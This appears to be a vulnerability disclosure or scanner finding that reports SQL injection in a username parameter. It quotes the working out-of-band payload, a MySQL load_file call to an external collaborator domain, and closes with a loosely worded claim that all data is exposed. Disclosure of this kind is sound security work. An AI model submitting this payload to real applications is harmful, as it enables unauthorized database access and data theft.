## Description:  
The username parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select load_file('\\\\  
h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+' was submitted  
in the username parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed. The attacker can get all  
information from the system by using this vulnerability!
